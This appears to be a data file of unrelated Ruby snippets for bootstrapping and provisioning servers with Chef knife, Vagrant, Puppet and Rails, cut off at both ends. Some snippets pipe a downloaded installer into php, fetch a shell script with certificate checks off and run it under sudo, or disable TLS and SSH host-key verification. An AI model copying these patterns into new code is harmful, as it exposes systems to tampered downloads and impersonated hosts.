\"|SITE_SLUG|/css/pages/rets_residential_details\";','')\n # str.gsub!('@import \"|SITE_SLUG|/css/pages/rets_residential_index\";','')\n # str.gsub!(\"//= require |SITE_SLUG|/js/functions_rets\",\"\")\n # str.gsub!(\"//= require photoswipe\",\"\")\n # str.gsub!(\"//= require photoswipe_ui\",\"\")\n # str.gsub!(\" *= require photoswipe\",\"\")\n # str.gsub!(\" *= require photoswipe_skin\",\"\")\n # str.gsub!(\"_skin\",\"\")\n # str.gsub!(\"_ui\",\"\")\n # end\n # str.gsub!(\"|SITE_SLUG|\",@site_name_slug)\n # str.gsub!(\"|SITE_NAME|\",@site_name)\n # #str.gsub!(\"|HOME_PAGE_ID|\",@home_page_id.to_s)\n # File.open(file2, 'w') { |f| f.write(str) }\n # end \n #end\n \n end", "def bootstrap_dir\n File.join(data_dir, 'bootstrap')\n end", "def bootup\n env = (@options[:environment] || \"development\").to_sym\n is_logging = @options.has_key?(:debug) && (@options[:debug] == \"true\")\n app = ::Middleman.server.inst do\n set :environment, env\n set :logging, is_logging\n end\n \n app_rack = app.class.to_rack_app\n \n opts = @options.dup\n opts[:app] = app_rack\n opts[:logging] = is_logging\n puts \"== The Middleman is standing watch on port #{opts[:port]||4567}\"\n ::Middleman.start_server(opts)\n end", "def startup_hook; end", "def bootstrap\n self.class.loadChefLib\n stashHostSSLCertSecret\n splunkVaultInit\n if !@config['cleaned_chef']\n begin\n leave_ours = @config['scrub_groomer'] ? false : true\n preClean(leave_ours)\n rescue RuntimeError => e\n MU.log e.inspect, MU::ERR\n sleep 10\n retry\n end\n @config['cleaned_chef'] = true\n end\n\n _nat_ssh_key, _nat_ssh_user, _nat_ssh_host, canonical_addr, ssh_user, ssh_key_name = @server.getSSHConfig\n\n MU.log \"Bootstrapping #{@server.mu_name} (#{canonical_addr}) with knife\"\n\n run_list = [\"recipe[mu-tools::newclient]\"]\n run_list << \"mu-tools::gcloud\" if @server.cloud == \"Google\" or @server.config['cloud'] == \"Google\"\n\n json_attribs = {}\n if !@config['application_attributes'].nil?\n json_attribs['application_attributes'] = @config['application_attributes']\n json_attribs['skipinitialupdates'] = @config['skipinitialupdates']\n end\n\n# XXX this seems to break Knife Bootstrap\n# vault_access = if !@config['vault_access'].nil?\n# @config['vault_access']\n# else\n# []\n# end\n\n @server.windows? ? max_retries = 25 : max_retries = 10\n @server.windows? ? timeout = 1800 : timeout = 300\n retries = 0\n begin\n load MU.myRoot+'/modules/mu/monkey_patches/chef_knife_ssh.rb'\n if !@server.windows?\n kb = ::Chef::Knife::Bootstrap.new([canonical_addr])\n kb.config[:use_sudo] = true\n kb.name_args = \"#{canonical_addr}\"\n kb.config[:distro] = 'chef-full'\n kb.config[:ssh_user] = ssh_user\n kb.config[:ssh_verify_host_key] = :accept_new\n kb.config[:forward_agent] = ssh_user\n kb.config[:identity_file] = \"#{Etc.getpwuid(Process.uid).dir}/.ssh/#{ssh_key_name}\"\n kb.config[:ssh_identity_file] = \"#{Etc.getpwuid(Process.uid).dir}/.ssh/#{ssh_key_name}\"\n else\n kb = ::Chef::Knife::BootstrapWindowsWinrm.new([@server.mu_name])\n kb.name_args = [@server.mu_name]\n kb.config[:manual] = true\n kb.config[:winrm_transport] = :ssl\n kb.config[:winrm_port] = 5986\n kb.config[:session_timeout] = timeout\n kb.config[:operation_timeout] = timeout\n# kb.config[:bootstrap_curl_options] = \"\"\n if retries % 2 == 0\n kb.config[:host] = canonical_addr\n kb.config[:winrm_authentication_protocol] = :basic\n kb.config[:winrm_user] = @server.config['windows_admin_username']\n kb.config[:winrm_password] = @server.getWindowsAdminPassword\n else\n kb.config[:host] = @server.mu_name\n kb.config[:winrm_authentication_protocol] = :cert\n kb.config[:winrm_client_cert] = \"#{MU.mySSLDir}/#{@server.mu_name}-winrm.crt\"\n kb.config[:winrm_client_key] = \"#{MU.mySSLDir}/#{@server.mu_name}-winrm.key\"\n end\n# kb.config[:ca_trust_file] = \"#{MU.mySSLDir}/Mu_CA.pem\"\n # XXX ca_trust_file doesn't work for some reason, so we have to set the below for now\n kb.config[:winrm_ssl_verify_mode] = :verify_none\n kb.config[:msi_url] = \"https://www.chef.io/chef/download?p=windows&pv=2012&m=x86_64&v=#{MU.chefVersion}\"\n end\n\n # XXX this seems to break Knife Bootstrap\n # if vault_access.size > 0\n # v = {}\n # vault_access.each { |vault|\n # v[vault['vault']] = [] if v[vault['vault']].nil?\n # v[vault['vault']] << vault['item']\n # }\n # kb.config[:bootstrap_vault_json] = JSON.generate(v)\n # end\n\n kb.config[:json_attribs] = JSON.generate(json_attribs) if json_attribs.size > 1\n kb.config[:run_list] = run_list\n kb.config[:chef_node_name] = @server.mu_name\n kb.config[:bootstrap_product] = \"chef\"\n kb.config[:bootstrap_version] = MU.chefVersion\n kb.config[:channel] = \"stable\"\n # XXX key off of MU verbosity level\n kb.config[:log_level] = :debug\n # kb.config[:ssh_gateway] = \"#{nat_ssh_user}@#{nat_ssh_host}\" if !nat_ssh_host.nil? # Breaking bootsrap\n\n MU.log \"Knife Bootstrap settings for #{@server.mu_name} (#{canonical_addr}), timeout set to #{timeout.to_s}\", MU::NOTICE, details: kb.config\n if @server.windows? and @server.windowsRebootPending?\n raise MU::Cloud::BootstrapTempFail, \"#{@server.mu_name} has a pending reboot\"\n end\n Timeout::timeout(timeout) {\n MU::Cloud.handleNetSSHExceptions\n kb.run\n }\n # throws Net::HTTPServerException if we haven't really bootstrapped\n ::Chef::Node.load(@server.mu_name)\n rescue SystemExit, Timeout::Error, MU::Cloud::BootstrapTempFail, Net::HTTPServerException, HTTPClient::ConnectTimeoutError, WinRM::WinRMError, Net::SSH::AuthenticationFailed, Net::SSH::Disconnect, Net::SSH::ConnectionTimeout, Net::SSH::Proxy::ConnectError, Net::SSH::Exception, Errno::ECONNRESET, Errno::EHOSTUNREACH, Errno::ECONNREFUSED, Errno::EPIPE, SocketError, IOError => e\n if retries < max_retries\n retries += 1\n # Bad Chef installs are possible culprits of bootstrap failures, so\n # try scrubbing them when that happens.\n # On Windows, even a fresh install comes up screwy disturbingly\n # often, so we let it start over from scratch if needed. Except for\n # the first attempt, which usually fails due to WinRM funk.\n if !e.is_a?(MU::Cloud::BootstrapTempFail) and\n !(e.is_a?(WinRM::WinRMError) and @config['forced_preclean']) and\n !@config['forced_preclean']\n begin\n preClean(false) # it's ok for this to fail\n rescue StandardError => e\n end\n MU::Groomer::Chef.purge(@server.mu_name, nodeonly: true)\n @config['forced_preclean'] = true\n @server.reboot if @server.windows? # *sigh*\n end\n MU.log \"#{@server.mu_name}: Knife Bootstrap failed #{e.inspect}, retrying in #{(10*retries).to_s}s (#{retries} of #{max_retries})\", MU::WARN, details: e.backtrace\n sleep 10*retries\n retry\n else\n raise MuError, \"#{@server.mu_name}: Knife Bootstrap failed too many times with #{e.inspect}\"\n end\n rescue StandardError => e\nMU.log e.inspect, MU::ERR, details: e.backtrace\nsleep 10*retries\nretry\n end\n\n\n # Now that we're done, remove one-shot bootstrap recipes from the\n # node's final run list\n [\"mu-tools::newclient\"].each { |recipe|\n begin\n ::Chef::Knife.run(['node', 'run_list', 'remove', @server.mu_name, \"recipe[#{recipe}]\"], {})\n rescue SystemExit => e\n MU.log \"#{@server.mu_name}: Run list removal of recipe[#{recipe}] failed with #{e.inspect}\", MU::WARN\n end\n }\n knifeAddToRunList(\"role[mu-node]\")\n knifeAddToRunList(\"recipe[mu-tools::selinux]\")\n\n grantSecretAccess(@server.mu_name, \"windows_credentials\") if @server.windows?\n grantSecretAccess(@server.mu_name, \"ssl_cert\")\n\n saveChefMetadata\n knifeAddToRunList(\"recipe[mu-tools::updates]\") if !@config['skipinitialupdates']\n # Making sure all Windows nodes get the mu-tools::windows-client recipe\n if @server.windows?\n knifeAddToRunList(\"recipe[mu-tools::windows-client]\")\n run(purpose: \"Base Windows configuration\", update_runlist: false, max_retries: 20)\n elsif !@config['skipinitialupdates']\n run(purpose: \"Base configuration\", update_runlist: false, max_retries: 20)\n end\n ::Chef::Knife.run(['node', 'run_list', 'remove', @server.mu_name, \"recipe[mu-tools::updates]\"], {}) if !@config['skipinitialupdates']\n ::Chef::Knife.run(['node', 'run_list', 'remove', @server.mu_name, \"recipe[mu-tools::selinux]\"], {})\n\n # This will deal with Active Directory integration.\n if !@config['active_directory'].nil?\n if @config['active_directory']['domain_operation'] == \"join\"\n knifeAddToRunList(\"recipe[mu-activedirectory::domain-node]\")\n run(purpose: \"Join Active Directory\", update_runlist: false, max_retries: max_retries)\n elsif @config['active_directory']['domain_operation'] == \"create\"\n knifeAddToRunList(\"recipe[mu-activedirectory::domain]\")\n run(purpose: \"Create Active Directory Domain\", update_runlist: false, max_retries: 15)\n elsif @config['active_directory']['domain_operation'] == \"add_controller\"\n knifeAddToRunList(\"recipe[mu-activedirectory::domain-controller]\")\n run(purpose: \"Add Domain Controller to Active Directory\", update_runlist: false, max_retries: 15)\n end\n end\n\n if !@config['run_list'].nil?\n knifeAddToRunList(multiple: @config['run_list'])\n end\n\n saveDeployData\n end", "def startup\nend", "def after_exec_command\n begin\n # bootstrap the server\n bootstrap\n rescue CloudExceptions::BootstrapError => e\n ui.fatal(e.message)\n cleanup_on_failure\n rescue Net::SSH::AuthenticationFailed => e\n ui.fatal(e.message)\n cleanup_on_failure\n end\n end", "def bootstrap\n\n if (self.csrf_token.nil?)\n csrf!\n end\n\n #\n # First need developer token\n #\n if (self.developer_token.nil?)\n config!\n end\n\n #\n # Need to login too\n #\n if (self.access_token.nil?)\n login!\n end\n end", "def bootstrap\n check_config\n\n Patches::RoutesPatch::prepend\n\n # Rails classes patches\n ActionDispatch::Callbacks.to_prepare do\n unless Redmine::MenuManager::MenuHelper.included_modules.include? RedmineWikipub::Patches::MenuHelperPatch\n Redmine::MenuManager::MenuHelper.send(:include, Patches::MenuHelperPatch)\n end\n unless ApplicationHelper.included_modules.include? RedmineWikipub::Patches::ThemesPatch\n ApplicationHelper.send(:include, Patches::ThemesPatch)\n end\n unless ApplicationHelper.included_modules.include? RedmineWikipub::Patches::ViewHelperPatch\n ApplicationHelper.send(:include, Patches::ViewHelperPatch)\n end\n unless Mailer.included_modules.include? RedmineWikipub::Patches::MailerPatch\n Mailer.send(:include, Patches::MailerPatch)\n end\n unless AccountController.included_modules.include? RedmineWikipub::Patches::AccountControllerPatch\n AccountController.send(:include, Patches::AccountControllerPatch)\n end\n end\n end", "def bootstrap(a_situation)\n @parent.bootstrap(a_situation).each do |setup_block|\n run_setup(a_situation, &setup_block)\n end if @parent\n @setups\n end", "def bootstrap_for_node(server, bootstrap_ip)\n bootstrap = Chef::Knife::Bootstrap.new\n Chef::Log.debug(\"Bootstrap name_args = [ #{bootstrap_ip} ]\")\n bootstrap.name_args = [ bootstrap_ip ]\n\n Chef::Log.debug(\"Bootstrap run_list = #{config[:run_list]}\")\n bootstrap.config[:run_list] = config[:run_list]\n\n Chef::Log.debug(\"Bootstrap ssh_user = #{config[:ssh_user]}\")\n bootstrap.config[:ssh_user] = config[:ssh_user]\n\n Chef::Log.debug(\"Bootstrap chef_node_name = #{config[:chef_node_name]}\")\n bootstrap.config[:chef_node_name] = config[:chef_node_name] || server.id\n\n Chef::Log.debug(\"Bootstrap prerelease = #{config[:prerelease]}\")\n bootstrap.config[:prerelease] = config[:prerelease]\n\n Chef::Log.debug(\"Bootstrap distro = #{config[:distro]}\")\n bootstrap.config[:distro] = config[:distro]\n\n if config[:ssh_user] == 'root'\n bootstrap.config[:use_sudo] = false\n else\n bootstrap.config[:use_sudo] = true\n end\n\n Chef::Log.debug(\"Bootstrap use_sudo = #{bootstrap.config[:use_sudo]}\")\n\n bootstrap.config[:environment] = config[:environment]\n Chef::Log.debug(\"Bootstrap environment = #{bootstrap.config[:environment]}\")\n\n bootstrap.config[:no_host_key_verify] = config[:no_host_key_verify]\n Chef::Log.debug(\"Bootstrap no_host_key_verify = #{bootstrap.config[:no_host_key_verify]}\")\n\n bootstrap.config[:identity_file] = config[:identity_file]\n Chef::Log.debug(\"Bootstrap identity_file = #{bootstrap.config[:identity_file]}\")\n\n bootstrap.config[:ssh_gateway] = determine_ssh_gateway(bootstrap_ip)\n Chef::Log.debug(\"Bootstrap ssh_gateway= #{bootstrap.config[:ssh_gateway]}\")\n\n bootstrap.config[:first_boot_attributes] = config[:json_attributes]\n Chef::Log.debug(\"Bootstrap json_attributes = #{bootstrap.config[:json_attributes]}\")\n\n bootstrap\n end", "def boot_rails\n log \"* Booting rails app\"\n begin\n return config.app\n rescue Exception => e\n error [\"Unable to load rails app!\", e, e.backtrace].flatten.join(\"\\n\")\n exit 1\n end\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def startup\n end", "def boot\n Souffle::Log.info \"#{@node.log_prefix} Booting node...\"\n provider.boot(@node)\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/bash ./#{SETUP_ENV_SCRIPT}\"\n end", "def load_scripts!\n scripts_dir = File.expand_path @config['blur']['scripts_dir']\n script_file_paths = Dir.glob File.join scripts_dir, '*.rb'\n\n # Sort the script file paths by file name so they load by alphabetical\n # order.\n #\n # This will make it possible to create a script called '10_database.rb'\n # which will be loaded before '20_settings.rb' and non-numeric prefixes\n # will be loaded after that.\n script_file_paths = script_file_paths.sort do |a, b|\n File.basename(a) <=> File.basename(b)\n end\n\n script_file_paths.each { |script_path| load_script_file script_path }\n\n initialize_superscripts\n\n emit :scripts_loaded\n end", "def bootstrap\n write_repo_file('bootstrap.h',<<EOF)\n#!/bin/sh\n\nphp_version=$(php -v | head -1 | awk '{print $2}' | sed 's/\\\\.//g')\ncomposer_version=5320\n\nif [[ $php_version -gt $composer_version ]]; then\n curl -sS https://getcomposer.org/installer | php\n mv composer.phar composer\n chmod 755 composer\n ./composer install\n export PATH=vendor/bin:$PATH\nelse\n curl -O https://phar.phpunit.de/phpunit.phar\n mv phpunit.phar phpunit\n chmod 755 phpunit\nfi\nEOF\n end", "def bootstrap_for_node\n bootstrap = Chef::Knife::Bootstrap.new\n bootstrap.name_args = [config[:fqdn]]\n bootstrap.config[:run_list] = get_config(:run_list).split(/[\\s,]+/)\n bootstrap.config[:secret_file] = get_config(:secret_file)\n bootstrap.config[:hint] = get_config(:hint)\n bootstrap.config[:ssh_user] = get_config(:ssh_user)\n bootstrap.config[:ssh_password] = get_config(:ssh_password)\n bootstrap.config[:ssh_port] = get_config(:ssh_port)\n bootstrap.config[:identity_file] = get_config(:identity_file)\n bootstrap.config[:chef_node_name] = get_config(:chef_node_name)\n bootstrap.config[:prerelease] = get_config(:prerelease)\n bootstrap.config[:bootstrap_version] = get_config(:bootstrap_version)\n bootstrap.config[:distro] = get_config(:distro)\n bootstrap.config[:use_sudo] = true unless get_config(:ssh_user) == 'root'\n bootstrap.config[:template_file] = get_config(:template_file)\n bootstrap.config[:environment] = get_config(:environment)\n bootstrap.config[:first_boot_attributes] = get_config(:first_boot_attributes)\n bootstrap.config[:log_level] = get_config(:log_level)\n # may be needed for vpc_mode\n bootstrap.config[:no_host_key_verify] = get_config(:no_host_key_verify)\n bootstrap\n end", "def replace_bootstrap(bootstrap_class)\n update_file start_script, /play\\.core\\.server\\.NettyServer/, bootstrap_class\n end", "def run\n reconfigure\n setup_application\n run_application\n end", "def boot params={}\n Server.node = Server.start! params\n Server.semaphore = Mutex.new\n Server.workers = []; true\n end", "def lybunt_setup\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/sh ./#{SETUP_ENV_SCRIPT}\"\n end", "def boot\n if self.stopped?\n self.status = \"booting\"\n # delayed_job, 5.times sleep 10 sec, print to /scenarios/#{1}\n debug \"Booting scenario...\"\n\n \n # Boot Clouds\n self.clouds.each { |cloud| cloud.boot }\n \n # Final Setup\n self.final_setup\n self.status = \"booted\"\n self.save!\n end\n end", "def rake\n app.init 'webby'\n app.load_rakefile\n load_command_line_options\n app.top_level\n end", "def requires_bootstrap?\n true\n end", "def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end", "def provision_uplift_bootstrap(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: Uplift bootstrap\")\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.bootstrap',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.ps1\"\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.choco',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.choco.ps1\"\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.choco-packages',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.choco-packages.ps1\" \n\n vm_config.vm.provision \"shell\",\n name: 'uplift.dsc.bootstrap',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.ps-modules.ps1\" \n \n vm_config.vm.provision \"shell\",\n name: 'uplift.resource-modul',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.resource.bootstrap.ps1\" \n \n\n _track_ai_event(__method__, {\n 'vm_name': vm_name\n })\n\n end", "def bootstrap_cleanup\n end", "def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end", "def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end", "def setup\n @applications = find_applications(pidfile_dir())\n end", "def bootstrap(box)\n install = INSTALL[box]\n archive = GO_ARCHIVES[box]\n\n profile = <<-PROFILE\n export GOPATH=$HOME\n export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin\n export CDPATH=.:$GOPATH/src/github.com:$GOPATH/src/golang.org\n PROFILE\n\n <<-SCRIPT\n #{install}\n\n if ! [ -f /home/vagrant/#{archive} ]; then\n response=$(wget -nv https://storage.googleapis.com/golang/#{archive})\n fi\n tar -C /usr/local -xzf #{archive}\n\n echo '#{profile}' >> /home/vagrant/.profile\n\n echo \"\\nRun: vagrant ssh #{box} -c 'cd project/path; go test ./...'\"\n SCRIPT\nend", "def setup_before_restart\n tcs_static = node['thecollegesound']['static_root']\n tcs_app = File.join(node['thecollegesound']['app_root'], 'current')\n\n # -- Link statics (css, js, basic images)\n # FIXME: Consolidate the image directories\n ['css', 'js', 'images', 'icons', 'img'].each do |dir|\n link \"#{tcs_static}/static/#{dir}\" do\n to \"#{tcs_app}/collegesound/static/#{dir}\"\n end\n end\n\n # -- Link templates\n link \"#{tcs_static}/templates\" do\n to \"#{tcs_app}/collegesound/templates\"\n end\n\n # -- Install the package\n bash 'install_package' do\n user 'root'\n cwd tcs_app\n code 'python setup.py install'\n end\n\n # -- Run migration\n bash 'run_migration' do\n user 'root'\n cwd \"#{tcs_app}/collegesound\"\n code <<-EOH\n python manage.py convert_to_south main\n python manage.py migrate main\n EOH\n end\nend", "def bootstrap\n puts \"Creating folder for project at #{folder}\"\n mkdir_p folder\n default_attributes\n save\n end", "def manual_bootstrap_for_node\n validate!([:bootstrap_pass])\n\n #Where the validation pem and chef-client exist on\n #the chef workstation this is run from\n validation_pem_path = Chef::Config[:validation_key]\n puts \"Using client key #{validation_pem_path}\"\n chef_client_path = Chef::Config[:knife][:chef_client_aix_path]\n puts \"Using chef-client located in #{chef_client_path}\"\n\n if validation_pem_path.nil? or chef_client_path.nil?\n puts \"No client validation pem or chef-client installable specified in knife.rb. Skipping Chef Bootstrap...\"\n return nil\n end\n\n #Where to place these files on the target server\n remote_chef_client_path = \"/tmp/2014-02-06-chef.11.10.0.0.bff\"\n remote_validation_pem_path = \"/etc/chef/validation.pem\"\n\n #For some reason, Net::SSH and Net::SCP only work on\n #AIX using :kex => \"diffie-hellman-group1-sha1\" and\n # :encryption => [\"blowfish-cbc\", \"3des-cbc\"]\n # :paranoid => false (avoids host key verification)\n Net::SSH.start(get_config(:ip_address), \n get_config(:bootstrap_user) || \"root\", \n :password => get_config(:bootstrap_pass), \n :kex => \"diffie-hellman-group1-sha1\",\n :encryption => [\"blowfish-cbc\", \"3des-cbc\"],\n :paranoid => false) do |ssh| \n\n #Copy the chef-client .bff file to the client machine in /tmp\n puts \"Copying chef client binary to client\"\n ssh.scp.upload!(chef_client_path, remote_chef_client_path)\n\n #Run the install command\n puts \"Running chef client install\"\n output = ssh.exec!(\"installp -aYFq -d #{remote_chef_client_path} chef\")\n Chef::Log.debug(\"Chef Client install output:\\n#{output}\")\n\n #Run the configure client command\n puts \"Running knife configure client command\"\n output = ssh.exec!(\"knife configure client -s #{get_config(:register_node)} /etc/chef\")\n Chef::Log.debug(\"Knife Configure output:\\n#{output}\")\n\n #Copy the validation key to /etc/chef on the client\n puts \"Uploading validation.pem to client\"\n ssh.scp.upload!(validation_pem_path, remote_validation_pem_path)\n\n #Edit /etc/chef/client.rb so that it points at the location of the validator\n puts \"Adding validator key path to client.rb\"\n cmd = %Q{echo \"validator_key '#{remote_validation_pem_path}'\" >> /etc/chef/client.rb}\n output = ssh.exec!(cmd)\n Chef::Log.debug(\"#{output}\")\n\n #Register the client node with the Chef server, by running chef-client\n #Add additional handling of this command to determine if the chef-client\n #run finished successfully or not.\n puts \"Running chef-client to register as a Chef node\"\n output = \"\"\n stderr_out = \"\"\n exit_code = nil\n ssh.exec(\"chef-client\") do |ch, success|\n unless success\n abort \"FAILED: chef-client command failed to execute on client\"\n end\n ch.on_data do |ch,data|\n output+=data\n end\n ch.on_extended_data do |ch,type,data|\n stderr_out+=data\n end\n ch.on_request(\"exit-status\") do |ch,data|\n exit_code = data.read_long\n end\n end\n ssh.loop\n if exit_code != 0\n puts \"Initial chef-client run failed. Please verify client settings and rerun chef-client to register this server as a node with #{get_config(:register_node)}\"\n return nil\n end\n Chef::Log.debug(\"chef-client command output:\\n#{output}\")\n end\n end", "def bootstrap\n types = VariablePredicates::RUBY_CLASSES.values\n\n (BOOTSTRAP_CONSTS | types).each do |name|\n load_constant(name)\n end\n\n BOOTSTRAP_GVARS.each do |gvar|\n definitions.define_global_variable(gvar)\n end\n end", "def bootstrap\n if Minion.where(role: nil).count > 1\n Minion.assign_roles(roles: [:master], default_role: :minion)\n Pharos::Salt.orchestrate\n else\n flash[:alert] = \"Not enough Workers to bootstrap. Please start at least one worker.\"\n end\n\n redirect_to nodes_path\n end", "def init!\n @logger = @config = @database_config = nil\n\n load_application_config\n load_database_config\n note \"Loading #{env} environment (#{Ajaila::VERSION})\"\n load_classes\n note \"Establishing database connection\"\n establish_database_connection\n note \"Running auto-upgrade migrations\"\n run_auto_upgrade_migrations\n note \"Application has been initialized\"\n self\n end", "def boot_up\n celluloid_running = begin\n Celluloid.running?\n rescue StandardError\n false\n end\n Celluloid.boot unless celluloid_running\n end", "def boot\n req = RightScale::RetryableRequest.new('/booter/get_repositories', { :agent_identity => @agent_identity })\n\n req.callback do |res|\n @audit = RightScale::AuditProxy.new(res.audit_id)\n if RightScale::FeatureConfigManager.feature_enabled?('package_repositories_freeze') && !RightScale::Platform.windows? && !RightScale::Platform.darwin?\n reps = res.repositories\n audit_content = \"Using the following software repositories:\\n\"\n reps.each { |rep| audit_content += \" - #{rep.to_s}\\n\" }\n @audit.create_new_section('Configuring software repositories')\n @audit.append_info(audit_content)\n configure_repositories(reps)\n @audit.update_status('Software repositories configured')\n end\n @audit.create_new_section('Preparing boot bundle')\n prepare_boot_bundle do |prep_res|\n if prep_res.success?\n @audit.update_status('Boot bundle ready')\n run_boot_bundle(prep_res.content) do |boot_res|\n if boot_res.success?\n # want to go operational only if no immediate shutdown request.\n # immediate shutdown requires we stay in the current (booting)\n # state pending full reboot/restart of instance so that we don't\n # bounce between operational and booting in a multi-reboot case.\n # if shutdown is deferred, then go operational before shutdown.\n shutdown_request = RightScale::ShutdownRequest.instance\n if shutdown_request.immediately?\n # process the shutdown request immediately since the\n # operational bundles queue will not start in this case.\n errback = lambda { strand(\"Failed to #{shutdown_request} while running boot sequence\") }\n shutdown_request.process(errback, @audit)\n else\n # any deferred shutdown request was submitted to the\n # operational bundles queue and will execute later.\n RightScale::InstanceState.value = 'operational'\n end\n else\n strand('Failed to run boot sequence', boot_res)\n end\n end\n else\n strand('Failed to prepare boot bundle', prep_res)\n end\n end\n end\n\n req.errback do|res|\n strand('Failed to retrieve software repositories', res)\n end\n\n req.run\n true\n end", "def async_bootstrap(environment, manifest, plugin, options = {})\n job = Job.new(:bootstrap)\n async(:bootstrap, job, environment, manifest, plugin, options)\n\n job.ticket\n end", "def start_script\n self.class.start_script play_root\n end", "def on_start\n rpth = File.dirname(File.dirname(__FILE__))\n spid = Process.pid\n wqport = config[:port]+1\n cdir = Dir.tmpdir\n system(\"python #{rpth}/lib/seqInit.py #{spid} #{wqport} #{cdir} &\")\n\n puts '** SequenceServer is ready.'\n puts \" Go to #{server_url} in your browser and start BLASTing!\"\n puts ' To share your setup, please try one of the following: '\n puts \" - http://#{ip_address}:#{config[:port]}\"\n puts \" - http://#{hostname}:#{config[:port]}\" if hostname\n puts ' Press CTRL+C to quit.'\n open_in_browser(server_url)\n end", "def bootstrap(box)\n install = INSTALL[box]\n archive = GO_ARCHIVES[box]\n vagrant_home = \"/home/vagrant\"\n\n profile = <<-PROFILE\n export GOROOT=#{vagrant_home}/go\n export GOPATH=#{vagrant_home}/gocode\n export PATH=$PATH:$GOROOT/bin:$GOPATH/bin\n export CDPATH=.:$GOPATH/src/github.com:$GOPATH/src/code.google.com/p:$GOPATH/src/bitbucket.org:$GOPATH/src/launchpad.net\n PROFILE\n\n <<-SCRIPT\n #{install}\n\n if ! [ -f /home/vagrant/#{archive} ]; then\n curl -O# https://go.googlecode.com/files/#{archive}\n fi\n tar -C /home/vagrant -xzf #{archive}\n chown -R vagrant:vagrant #{vagrant_home}/go\n\n if ! grep -q GOPATH #{vagrant_home}/.profile; then\n echo '#{profile}' >> #{vagrant_home}/.profile\n fi\n source #{vagrant_home}/.profile\n\n chown -R vagrant:vagrant #{vagrant_home}/gocode\n go get github.com/jingweno/gotask\n\n echo \"\\nRun: vagrant ssh #{box} -c 'cd project/path; go test ./...'\"\n SCRIPT\nend", "def setup()\n end", "def user_data_is_bootstrap_script settings, script_name, debug=false\n script_text = bootstrap_chef_script(script_name, settings)\n puts \"*****\\n\\n#{script_text}\\n**********\\n\" if debug\n user_data(script_text)\nend", "def bootstrap\n @targets[\"bootstrap\"].javascripts.destinations.keys.first\n end", "def setup\n @applications = find_applications(pidfile_dir)\n end", "def bootstrap_chef_script role, settings\n erubis_template(\n File.dirname(__FILE__)+\"/../config/user_data_script-#{role}.sh.erb\",\n :public_ip => settings[:elastic_ip],\n :hostname => settings[:user_data][:attributes][:node_name],\n :chef_server_fqdn => settings[:user_data][:chef_server].gsub(%r{http://(.*):\\d+},'\\1'),\n :ubuntu_version => 'lucid',\n :bootstrap_scripts_url_base => settings[:bootstrap_scripts_url_base],\n :chef_config => settings[:user_data]\n )\nend", "def bootstrap(architecture, prefix, user, repository, server, server_path)\n if self.class.bootstrapped?(architecture, prefix)\n Puppet.debug(\"Bootstrap previously done.\")\n return\n end\n Puppet.debug(\"Creating #{prefix} and assigning it to #{user}\")\n begin\n execute [\"mkdir\", \"-p\", prefix]\n execute [\"chown\", user, prefix]\n rescue Exception => e\n Puppet.warning \"Unable to create / find installation area. Please check your install_options.\"\n raise e\n end\n Puppet.debug(\"Fetching bootstrap from #{repository}\")\n execute [\"wget\", \"--no-check-certificate\", \"-O\",\n File.join([prefix, \"bootstrap-#{architecture}.sh\"]),\n \"#{server}/#{server_path}/bootstrap.sh\"]\n Puppet.debug(\"Installing CMS bootstrap.\")\n execute [\"sudo\", \"-u\", user,\n \"sh\", \"-x\", File.join([prefix, \"bootstrap-#{architecture}.sh\"]),\n \"setup\",\n \"-path\", prefix,\n \"-arch\", architecture,\n \"-server\", server,\n \"-server-path\", server_path,\n \"-assume-yes\"]\n Puppet.debug(\"Bootstrap completed\")\n end", "def setup\r\n end", "def prepare_boot_bundle(&cb)\n payload = {:agent_identity => @agent_identity, :audit_id => @audit.audit_id}\n req = RightScale::RetryableRequest.new('/booter/get_boot_bundle', payload)\n\n req.callback do |bundle|\n if bundle.executables.any? { |e| !e.ready }\n @audit.create_new_section(\"Waiting for missing inputs\")\n retrieve_missing_inputs(bundle) { cb.call(success_result(bundle)) }\n else\n yield success_result(bundle)\n end\n end\n\n req.errback do |res|\n yield error_result(RightScale::Log.format('Failed to retrieve boot scripts', res))\n end\n\n req.run\n end", "def load_rails!\n puts \"Loading application...\"\n require_relative '../config/environment'\n # We need to disconnect before forking.\n ActiveRecord::Base.connection.disconnect!\n puts \"Loaded!\"\n end", "def boot_location\n super\n end", "def bootstrap listener\n Conjur::Bootstrap::Command.constants.map{|c| Conjur::Bootstrap::Command.const_get(c)}.each do |cls|\n next unless cls.is_a?(Class)\n next unless cls.superclass == Conjur::Bootstrap::Command::Base\n cls.new(self, listener).perform\n end\n end", "def prepare_stubbed_script\n base = powershell_shell? ? \"bootstrap.ps1\" : \"bootstrap.sh\"\n config[:script] = File.join(sandbox_path, base)\n info(\"#{File.basename(config[:script])} not found \" \\\n \"so Kitchen will run a stubbed script. Is this intended?\")\n File.open(config[:script], \"wb\") do |file|\n if powershell_shell?\n file.write(%{Write-Host \"NO BOOTSTRAP SCRIPT PRESENT`n\"\\n})\n else\n file.write(%{#!/bin/sh\\necho \"NO 